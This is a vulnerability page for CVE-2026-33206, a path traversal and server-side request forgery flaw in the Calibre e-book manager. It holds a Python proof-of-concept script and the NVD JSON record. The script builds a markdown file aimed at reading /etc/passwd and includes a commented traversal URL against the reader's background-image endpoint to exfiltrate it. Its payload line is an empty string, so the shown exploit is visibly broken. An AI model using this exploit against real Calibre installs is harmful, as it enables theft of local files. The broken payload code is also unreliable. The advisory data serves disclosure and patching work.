CVE-2026-33206

import os # PoC for CVE-2026-33206: Path Traversal in Calibre # This script demonstrates how a malicious markdown file can be created # to include arbitrary files via path traversal. def create_exploit_md(output_path, target_file): """ Creates a markdown file that attempts to include a local file. """ # Using path traversal sequence to escape the ebook context payload = f"" with open(output_path, 'w') as f: f.write(f"# Exploit PoC\n\n{payload}\n") print(f"[+] Exploit Markdown file created at: {output_path}") print(f"[+] Target file for inclusion: {target_file}") # Example usage # Attacker aims to read /etc/passwd on the victim's machine create_exploit_md("exploit.md", "/etc/passwd") # Note: The second part involves the Content Server / Web View. # An attacker would need to host this markdown, convert it, and then # use the SSRF in the background-image endpoint to exfiltrate data. # Example SSRF payload for the background endpoint: # url = "http://localhost:8080/reader?background=../../../../etc/passwd"

{"cve": {"id": "CVE-2026-33206", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:54.453", "lastModified": "2026-03-30T20:46:25.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "calibre is a cross-platform e-book manager for viewing, converting, editing, and cataloging e-books. Prior to version 9.6.0, a path traversal vulnerability exists in Calibre' handling of images in Markdown and other similar text-based files allowing an attacker to include arbitrary files from the file system into the converted book. Additionally, missing authentication and server-side request forgery in the background-image endpoint in the ebook reader web view allow the files to be exfiltrated without additional interaction. Version 9.6.0 contains a fix."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:calibre-ebook:calibre:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.6.0", "matchCriteriaId": "CE5B8219-E321-4B32-BA84-CFBEFC8896BB"}]}]}], "references": [{"url": "https://github.com/kovidgoyal/calibre/security/advisories/GHSA-h3p4-m74f-43g6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/kovidgoyal/calibre/security/advisories/GHSA-h3p4-m74f-43g6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}